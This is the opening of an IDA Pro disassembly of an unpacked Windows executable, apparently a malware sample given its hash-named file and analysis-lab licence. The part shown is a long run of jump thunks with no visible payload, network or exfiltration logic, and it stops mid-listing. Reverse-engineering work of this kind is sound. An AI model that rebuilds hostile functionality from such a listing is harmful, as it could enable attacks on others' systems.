;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : E65D4881F468893D205B594C0D911AF8
; File Name : u:\work\e65d4881f468893d205b594c0d911af8_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00110000 (1114112.)
; Section size in file : 00110000 (1114112.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
db 5 dup(0CCh)
; ---------------------------------------------------------------------------
jmp loc_42F630
; ---------------------------------------------------------------------------
loc_40100A: ; DATA XREF: ___:off_43E09Co
jmp loc_412CB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40100F proc near ; CODE XREF: sub_421AF0+29p
jmp sub_422050
sub_40100F endp
; ---------------------------------------------------------------------------
jmp loc_431250
; ---------------------------------------------------------------------------
jmp loc_420DA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40101E proc near ; CODE XREF: ___:004118E3p
jmp sub_411910
sub_40101E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401023 proc near ; CODE XREF: ___:0040B1BDp
; ___:0040B1CAp ...
jmp sub_403C00
sub_401023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401028 proc near ; CODE XREF: sub_41FA90+34p
jmp sub_40B000
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40102D proc near ; CODE XREF: sub_404C70+619p
; sub_404C70+6D8p ...
jmp sub_40A030
sub_40102D endp
; ---------------------------------------------------------------------------
jmp sub_42A100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401037 proc near ; CODE XREF: sub_413510+3Bp
; ___:00414B30p
jmp sub_4155E0
sub_401037 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40103C proc near ; CODE XREF: sub_42F840+6Ep
; sub_42F840+8Ap ...
jmp sub_432FE0
sub_40103C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401041 proc near ; CODE XREF: ___:0042EF22p
; sub_42F840+3Fp ...
jmp sub_432E60
sub_401041 endp
; ---------------------------------------------------------------------------
jmp loc_423940
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40104B proc near
jmp sub_40D130
sub_40104B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401050 proc near ; CODE XREF: sub_40B000+3Ap
; sub_40B070+1Ap
jmp sub_432980
sub_401050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401055 proc near ; CODE XREF: sub_41E660+37Bp
jmp sub_421C30
sub_401055 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105A proc near ; CODE XREF: sub_40C0C0+8p
jmp sub_40C280
sub_40105A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105F proc near ; CODE XREF: sub_431900+5Ap
; sub_433710+50p
jmp sub_4318C0
sub_40105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401064 proc near ; DATA XREF: ___:off_43E07Co
jmp sub_41C610
sub_401064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401069 proc near ; CODE XREF: ___:00416EAAp
jmp sub_41FBD0
sub_401069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40106E proc near ; CODE XREF: sub_40BF60+32p
jmp sub_40C120
sub_40106E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401073 proc near ; CODE XREF: ___:00416EBAp
jmp sub_418290
sub_401073 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401078 proc near ; CODE XREF: sub_415830+5Ep
; sub_416280+32p
jmp sub_4161C0
sub_401078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40107D proc near ; CODE XREF: sub_41E660+161p
; sub_4223E0+3p
jmp sub_421A50
sub_40107D endp
; ---------------------------------------------------------------------------
jmp loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40108C proc near ; CODE XREF: sub_421C30+3p
; ___:00421FFFp ...
jmp sub_422170
sub_40108C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401091 proc near ; CODE XREF: sub_40C400+43p
jmp sub_40CAD0
sub_401091 endp
; ---------------------------------------------------------------------------
jmp sub_427FF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40109B proc near ; CODE XREF: sub_407570+Ap
jmp sub_407610
sub_40109B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p
; sub_424790+6p ...
jmp sub_424500
sub_4010A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p
; sub_430C00+14Fp
jmp sub_432DF0
sub_4010A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p
jmp sub_430990
sub_4010AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AF proc near ; DATA XREF: ___:0043E174o
jmp sub_429DC0
sub_4010AF endp
; ---------------------------------------------------------------------------
loc_4010B4: ; DATA XREF: ___:off_43E0A0o
jmp loc_41E2C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010B9 proc near ; CODE XREF: sub_418330+D0p
; sub_418490+2Dp
jmp sub_418A20
sub_4010B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p
; sub_40FF60+990p ...
jmp sub_411860
sub_4010BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C3 proc near ; CODE XREF: ___:0042F336p
; ___:0042F3A4p ...
jmp sub_430F00
sub_4010C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C8 proc near ; CODE XREF: sub_421D50+9p
; sub_422240+18p
jmp sub_4223C0
sub_4010C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p
; sub_40A9F0+82p ...
jmp sub_40ABE0
sub_4010CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p
; ___:00423AA6p ...
jmp sub_419AE0
sub_4010D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010D7 proc near ; CODE XREF: sub_416010+7p
jmp sub_416640
sub_4010D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010DC proc near ; CODE XREF: sub_415520+4Fp
; sub_415E70+11p ...
jmp sub_4160C0
sub_4010DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E1 proc near ; CODE XREF: sub_429C30+58p
jmp sub_429AA0
sub_4010E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp
jmp sub_421CB0
sub_4010E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010EB proc near ; CODE XREF: sub_421FB0+11p
; ___:00421FD7p ...
jmp sub_4224D0
sub_4010EB endp
; ---------------------------------------------------------------------------
jmp loc_413D60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010F5 proc near ; CODE XREF: sub_421A30+3p
; ___:00421D9Fp ...
jmp sub_421F10
sub_4010F5 endp
; ---------------------------------------------------------------------------
jmp loc_414400
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FF proc near ; CODE XREF: sub_426F20+3p
jmp sub_426F50
sub_4010FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401104 proc near ; CODE XREF: sub_415A00+11p
; ___:00415A27p ...
jmp sub_416470
sub_401104 endp
; ---------------------------------------------------------------------------
jmp loc_433310
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40110E proc near ; CODE XREF: sub_421B60+5p
; sub_421C50+6p ...
jmp sub_422150
sub_40110E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401113 proc near ; CODE XREF: ___:00416A5Bp
; ___:00439F5Ej ...
jmp sub_417A60
sub_401113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401118 proc near ; CODE XREF: sub_404C70+6Ap
; sub_404C70+1AFp ...
jmp sub_412970
sub_401118 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40111D proc near ; DATA XREF: ___:off_43E074o
jmp sub_4192C0
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401122 proc near ; CODE XREF: sub_431A20+6p
; ___:00431A33p ...
jmp sub_42F480
sub_401122 endp
; ---------------------------------------------------------------------------
jmp loc_42E3D0
; ---------------------------------------------------------------------------
loc_40112C: ; DATA XREF: ___:off_43E15Co
jmp loc_429A30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401131 proc near ; CODE XREF: ___:00423C9Dp
jmp sub_423760
sub_401131 endp
; ---------------------------------------------------------------------------
jmp loc_431F50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40113B proc near ; CODE XREF: ___:004150A8p
jmp sub_415990
sub_40113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401140 proc near ; CODE XREF: sub_41B950+F7p
; sub_41B950+10Bp ...
jmp sub_409EA0
sub_401140 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401145 proc near ; CODE XREF: sub_409910+Ap
jmp sub_409A00
sub_401145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114A proc near ; CODE XREF: sub_4133D0+55p
; sub_4133D0+94p ...
jmp sub_415770
sub_40114A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114F proc near ; CODE XREF: sub_425020+183p
jmp sub_4235F0
sub_40114F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401154 proc near ; CODE XREF: ___:00414BBEp
jmp sub_415520
sub_401154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401159 proc near ; CODE XREF: sub_427600+3p
jmp sub_427630
sub_401159 endp
; ---------------------------------------------------------------------------
loc_40115E: ; DATA XREF: ___:off_43E038o
jmp loc_4118E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401163 proc near ; CODE XREF: sub_415DD0+11p
; ___:00415DF7p ...
jmp sub_4165F0
sub_401163 endp
; ---------------------------------------------------------------------------
jmp loc_41D730
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40116D proc near ; CODE XREF: sub_418B10+23p
; sub_418D80+11p
jmp sub_418E60
sub_40116D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401172 proc near ; CODE XREF: sub_418A90+3p
; sub_418E90+54p ...
jmp sub_418CE0
sub_401172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401177 proc near ; CODE XREF: sub_409600+6Ap
; sub_409600+103p
jmp sub_4098A0
sub_401177 endp
; ---------------------------------------------------------------------------
jmp loc_432840
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401181 proc near ; CODE XREF: ___:00413D7Dp
jmp sub_413B70
sub_401181 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401186 proc near ; CODE XREF: ___:0041A1E4p
jmp sub_41AFE0
sub_401186 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40118B proc near ; CODE XREF: sub_4133D0+88p
; sub_4147D0+BFp ...
jmp sub_415930
sub_40118B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401190 proc near ; CODE XREF: sub_42F480+7p
; sub_42F4F0+19p ...
jmp sub_4338B0
sub_401190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401195 proc near
jmp sub_40DB10
sub_401195 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40119A proc near ; CODE XREF: ___:004310AAp
jmp sub_430A50
sub_40119A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40119F proc near ; CODE XREF: sub_4071E0+11p
; sub_407370+1Fp
jmp sub_407410
sub_40119F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p
; sub_4036D0+3C5p ...
jmp sub_403E00
sub_4011A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A9 proc near ; CODE XREF: sub_421C10+3p
jmp sub_422190
sub_4011A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011AE proc near ; CODE XREF: sub_40C250+Ap
jmp sub_40C310
sub_4011AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp
; sub_407030+1Fp ...
jmp sub_403C70
sub_4011B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011B8 proc near ; CODE XREF: ___:00413274p
; ___:0043998Cj ...
jmp sub_4153B0
sub_4011B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011BD proc near ; CODE XREF: sub_42B350+3p
jmp sub_42B380
sub_4011BD endp
; ---------------------------------------------------------------------------
jmp loc_40AF00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011C7 proc near ; CODE XREF: ___:00414BCDp
jmp sub_414C70
sub_4011C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011CC proc near ; CODE XREF: sub_407610+7p
; sub_409A00+7p ...
jmp sub_407640
sub_4011CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D1 proc near ; CODE XREF: sub_413510+73p
; ___:00414B6Dp ...
jmp sub_415600
sub_4011D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D6 proc near ; CODE XREF: sub_41E660+58p
jmp sub_420530
sub_4011D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011DB proc near ; CODE XREF: sub_413DA0+84p
jmp sub_4137E0
sub_4011DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E0 proc near ; CODE XREF: ___:00432428p
jmp sub_42FD70
sub_4011E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p
jmp sub_4075A0
sub_4011E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp
; sub_404C70+230p ...
jmp sub_40A430
sub_4011EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011EF proc near ; CODE XREF: sub_40A790+21p
; sub_40A9F0+A5p
jmp sub_40A9D0
sub_4011EF endp
; ---------------------------------------------------------------------------
jmp loc_40AF70
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011F9 proc near ; CODE XREF: sub_40A430+129p
; sub_40A810+4p ...
jmp sub_40A7E0
sub_4011F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo
jmp sub_426650
sub_4011FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401203 proc near ; CODE XREF: ___:004322BDp
jmp sub_42FA70
sub_401203 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401208 proc near ; CODE XREF: sub_4072F0+3p
; ___:004073BFp ...
jmp sub_407480
sub_401208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40120D proc near ; CODE XREF: sub_41D830+346p
; sub_41D830+410p ...
jmp sub_421870
sub_40120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401212 proc near ; CODE XREF: sub_421AB0+11p
; sub_421FB0+1Fp
jmp sub_4220E0
sub_401212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401217 proc near ; CODE XREF: sub_42B4F0+3p
jmp sub_42B520
sub_401217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40121C proc near
jmp sub_407790
sub_40121C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401221 proc near ; CODE XREF: sub_40C120+5Fp
jmp sub_40C2F0
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401226 proc near ; CODE XREF: sub_4034E0+F6p
; sub_4034E0+12Ep ...
jmp sub_409C30
sub_401226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40122B proc near ; CODE XREF: sub_41E660+113p
; sub_41E660+124p
jmp sub_421A30
sub_40122B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401230 proc near ; DATA XREF: ___:0043E060o
jmp sub_41F860
sub_401230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401235 proc near ; CODE XREF: ___:00416AFBp
; ___:00439ED2j ...
jmp sub_4176B0
sub_401235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp
jmp sub_42FF50
sub_40123A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40123F proc near ; CODE XREF: sub_418B10+32p
jmp sub_418D80
sub_40123F endp
; ---------------------------------------------------------------------------
jmp loc_433570
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401249 proc near ; CODE XREF: sub_415420+5p
; sub_415620+6p ...
jmp sub_416030
sub_401249 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40124E proc near ; CODE XREF: sub_40BCB0+29p
; sub_40BDD0+29p
jmp sub_40BF60
sub_40124E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401253 proc near ; CODE XREF: sub_41E660+3E9p
; ___:0043B1ABj
jmp sub_421AF0
sub_401253 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401258 proc near ; CODE XREF: sub_4144D0+BFp
jmp sub_415210
sub_401258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40125D proc near ; CODE XREF: sub_4164E0+Ap
jmp sub_416820
sub_40125D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401262 proc near ; CODE XREF: ___:00416B67p
; ___:00439E73j ...
jmp sub_416FB0
sub_401262 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401267 proc near
jmp sub_418330
sub_401267 endp
; ---------------------------------------------------------------------------
jmp sub_416C30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401271 proc near ; CODE XREF: ___:00416E1Fp
jmp sub_417FD0
sub_401271 endp
; ---------------------------------------------------------------------------
jmp loc_414690
; ---------------------------------------------------------------------------
jmp loc_42F030
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401280 proc near ; CODE XREF: sub_40FF60+387p
; sub_41EF30+21Dp ...
jmp sub_41B6E0
sub_401280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401285 proc near ; CODE XREF: ___:00416E5Ap
jmp sub_418180
sub_401285 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40128A proc near ; CODE XREF: sub_409490+8p
jmp sub_4094E0
sub_40128A endp
; ---------------------------------------------------------------------------
jmp loc_429A30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401294 proc near ; CODE XREF: sub_409600+A5p
; sub_412BC0+21p
jmp sub_409810
sub_401294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401299 proc near ; CODE XREF: sub_404C70+385p
; sub_41D830+5AAp
jmp sub_41C030
sub_401299 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40129E proc near ; CODE XREF: ___:00416D6Fp
jmp sub_4036D0
sub_40129E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p
; sub_418E90+11p
jmp sub_418FE0
sub_4012A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A8 proc near ; CODE XREF: sub_424840+Cp
; sub_424840+3Ep ...
jmp sub_424330
sub_4012A8 endp
; ---------------------------------------------------------------------------
jmp loc_42F670
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B2 proc near ; CODE XREF: sub_404C70+860p
; sub_404C70+ADCp ...
jmp sub_40A290
sub_4012B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B7 proc near ; CODE XREF: ___:0042EB16p
; ___:0042EB66p ...
jmp sub_431490
sub_4012B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012BC proc near ; CODE XREF: sub_41E660+367p
; sub_41E660+3D4p ...
jmp sub_421C80
sub_4012BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C1 proc near ; DATA XREF: sub_426A60+107o
jmp sub_426CE0
sub_4012C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C6 proc near ; CODE XREF: sub_424720+18p
; sub_424760+Ap ...
jmp sub_4246D0
sub_4012C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012CB proc near ; CODE XREF: sub_416120+9p
; sub_4161C0+18p
jmp sub_4167D0
sub_4012CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012D0 proc near ; DATA XREF: sub_431280+32o
jmp sub_431A80
sub_4012D0 endp
; ---------------------------------------------------------------------------
jmp loc_42EB60
; ---------------------------------------------------------------------------
jmp loc_419BB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012DF proc near ; CODE XREF: sub_429AA0+67p
jmp sub_41FEF0
sub_4012DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p
; sub_42F0B0+2p ...
jmp sub_430270
sub_4012E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp
; sub_4144D0+40p ...
jmp sub_415160
sub_4012E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012EE proc near ; CODE XREF: sub_404640+19Fp
; sub_404640+212p ...
jmp sub_409EF0
sub_4012EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p
; sub_424E90+F1p
jmp sub_424E20
sub_4012F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F8 proc near ; CODE XREF: sub_425020+127p
jmp sub_424E90
sub_4012F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012FD proc near ; CODE XREF: ___:00416E3Ap
jmp sub_418080
sub_4012FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401302 proc near ; CODE XREF: ___:00416E0Fp
jmp sub_417F10
sub_401302 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401307 proc near ; CODE XREF: sub_4303D0+1p
jmp sub_430460
sub_401307 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40130C proc near ; CODE XREF: ___:00425F11p
jmp sub_426450
sub_40130C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401311 proc near ; CODE XREF: sub_418330+71p
; sub_418330+BBp ...
jmp sub_4189F0
sub_401311 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401316 proc near ; CODE XREF: sub_40A0A0+7p
jmp sub_40A0C0
sub_401316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40131B proc near ; CODE XREF: ___:004316D8p
; sub_431730+2Bp
jmp sub_431900
sub_40131B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401320 proc near ; CODE XREF: sub_431280+1p
jmp sub_4314C0
sub_401320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp
jmp sub_421BD0
sub_401325 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40132A proc near ; CODE XREF: sub_414360+5Bp
jmp sub_415030
sub_40132A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132F proc near ; CODE XREF: sub_4153B0+29p
; sub_4154D0+29p
jmp sub_415F30
sub_40132F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401334 proc near ; CODE XREF: ___:00435F42p
; ___:00435F52p ...
jmp sub_435E00
sub_401334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp
; sub_4133D0+9Ep ...
jmp sub_415960
sub_401339 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40133E proc near ; CODE XREF: sub_40B520+62p
; ___:0040B9E8p ...
jmp sub_40BE60
sub_40133E endp
; ---------------------------------------------------------------------------
jmp loc_4300C0
; ---------------------------------------------------------------------------
jmp loc_42EC40
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40134D proc near ; DATA XREF: ___:0043E1A8o
jmp sub_42B3A0
sub_40134D endp
; ---------------------------------------------------------------------------
jmp loc_42B2E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401357 proc near ; CODE XREF: sub_416090+8p
jmp sub_4166B0
sub_401357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40135C proc near ; CODE XREF: sub_4133D0+71p
; sub_4133D0:loc_41349Cp ...
jmp sub_415910
sub_40135C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401361 proc near ; CODE XREF: sub_418330+AFp
; sub_418FE0+3p
jmp sub_418AB0
sub_401361 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401366 proc near ; DATA XREF: ___:0043E104o
jmp sub_426A60
sub_401366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40136B proc near ; CODE XREF: sub_40B520+39p
; sub_40B520+78p ...
jmp sub_40BE90
sub_40136B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401370 proc near ; CODE XREF: sub_4257A0+29p
; sub_4257A0+38p
jmp sub_4256B0
sub_401370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401375 proc near ; CODE XREF: sub_41A500+1Cp
jmp sub_41A540
sub_401375 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137A proc near ; DATA XREF: ___:0043E164o
jmp sub_429C30
sub_40137A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40137F proc near ; CODE XREF: ___:00408BD9p
; ___:00414481p
jmp sub_414230
sub_40137F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401384 proc near ; CODE XREF: sub_418490+72p
jmp sub_406C30
sub_401384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401389 proc near ; CODE XREF: sub_409D20+7p
; sub_409E70+7p ...
jmp sub_40A700
sub_401389 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40138E proc near ; DATA XREF: ___:off_43E080o
jmp sub_422A40
sub_40138E endp
; ---------------------------------------------------------------------------
jmp loc_413AE0
; ---------------------------------------------------------------------------
jmp sub_42B350
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40139D proc near ; CODE XREF: sub_418900+11p
; sub_421CB0+1Fp
jmp sub_418C50
sub_40139D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013A2 proc near ; CODE XREF: sub_42B2D0+3j
jmp sub_42A810
sub_4013A2 endp
; ---------------------------------------------------------------------------
jmp sub_42B4F0
; ---------------------------------------------------------------------------
jmp loc_42EBB0
; ---------------------------------------------------------------------------
jmp loc_414A60
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp
jmp sub_407370
sub_4013B6 endp
; ---------------------------------------------------------------------------
jmp loc_42E7B0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p
; ___:00416AEBp ...
jmp sub_40FDA0
sub_4013C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013C5 proc near ; CODE XREF: sub_425270+Cp
; sub_4253E0+Ap ...
jmp sub_425230
sub_4013C5 endp
; ---------------------------------------------------------------------------
jmp loc_40D2E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
